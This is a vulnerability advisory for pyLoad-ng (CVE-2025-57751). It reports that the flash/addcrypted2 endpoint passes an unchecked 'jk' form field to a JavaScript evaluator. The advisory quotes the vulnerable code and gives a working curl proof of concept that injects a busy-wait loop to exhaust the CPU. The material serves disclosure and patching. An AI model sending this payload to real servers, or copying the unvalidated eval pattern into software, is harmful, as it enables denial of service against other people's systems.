Advisory details:
pypa / pyload-ng/PYSEC-2026-1815
| Advisory ID | pypa/pyload-ng/PYSEC-2026-1815 |
| Aliases |
CVE-2025-57751
GHSA-9gjj-6gj7-c4wj PYSEC-2026-1815 |
| Summary | Denial-of-Service attack in pyLoad CNL Blueprint using dukpy.evaljs Dear Maintainers, I am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation. ### Summary The `jk` parameter is received in pyLoad CNL Blueprint. Due to the lack of `jk` parameter verification, the `jk` parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive. ### Details - Endpoint: flash/addcrypted2 - affected file: https://github.com/pyload/pyload/blob/develop/src/pyload/webui/app/blueprints/cnl_blueprint.py#L123 https://github.com/pyload/pyload/blob/develop/src/pyload/core/utils/misc.py#L42 affected code ```python @bp.route("/flash/addcrypted2", methods=["POST"], endpoint="addcrypted2") @local_check def addcrypted2(): package = flask.request.form.get( "package", flask.request.form.get("source", flask.request.form.get("referer")) ) crypted = flask.request.form["crypted"] jk = flask.request.form["jk"] pack_password = flask.request.form.get("passwords") crypted = standard_b64decode(unquote(crypted.replace(" ", "+"))) jk = eval_js(f"{jk} f()") ``` ```python def eval_js(script, es6=False): if sys.version_info < (3, 12): return (js2py.eval_js6 if es6 else js2py.eval_js)(script) else: return dukpy.evaljs(script) ``` ### PoC download pyload and run locally, send the following request - PoC ```shell curl -X POST "http://localhost:8000/flash/addcrypted2" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "crypted=SGVsbG8gd29ybGQ=" \ -d "passwords=pyload" \ -d "jk=const start = Date.now();%0Awhile (Date.now() - start < 30_000) {} //" ``` The 30_000 can be modified to any large value. ### Impact System resources are exhausted, causing services to be temporarily interrupted or stopped, making them inaccessible to normal users. Use the following command to check CPU usage ```shell top -pid $(pgrep -f "pyload.__main__") ``` or ```shell top -pid $(pgrep -f "pyload") ``` The CPU is fully occupied <img width="1209" height="134" alt="image" src="https://github.com/user-attachments/assets/5f9338fe-90c8-4e99-bd8e-a5b5c5a81a6e" /> web-ui unresponsive <img width="1209" height="496" alt="image" src="https://github.com/user-attachments/assets/7100cdb6-e4d5-4d0c-a138-51b08a7b1fbd" /> |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 6.9 |
| Risk | 3.5 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| There are no known CWE. |
| System | Score | Found at |
|---|---|---|
| cvssv4 | 7.7 | https://github.com/pypa/advisory-database/blob/main/vulns/pyload-ng/PYSEC-2026-1815.yaml |
| Reference id | Reference type | URL |
|---|---|---|
| https://github.com/pyload/pyload | ||
| https://pypi.org/project/pyload-ng | ||
| CVE-2025-57751 | https://nvd.nist.gov/vuln/detail/CVE-2025-57751 | |
| GHSA-9gjj-6gj7-c4wj | https://github.com/advisories/GHSA-9gjj-6gj7-c4wj | |
| GHSA-9gjj-6gj7-c4wj | https://github.com/pyload/pyload/security/advisories/GHSA-9gjj-6gj7-c4wj |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Attack Requirements (AT) | Privileges Required (PR) | User Interaction (UI) | Vulnerable System Impact Confidentiality (VC) | Vulnerable System Impact Integrity (VI) | Vulnerable System Impact Availability (VA) | Subsequent System Impact Confidentiality (SC) | Subsequent System Impact Integrity (SI) | Subsequent System Impact Availability (SA) |
|---|---|---|---|---|---|---|---|---|---|---|
network adjacent local physical |
low high |
none present |
none low high |
none passive active |
high low none |
high low none |
high low none |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2025-08-21T18:40:14Z/
Decision: Track
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2025/57xxx/CVE-2025-57751.json
Source Advisory: vulnrichment/CVE-2025-57751
[{'Exploitation': 'poc'},
{'Automatable': 'yes'},
{'Technical Impact': 'partial'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]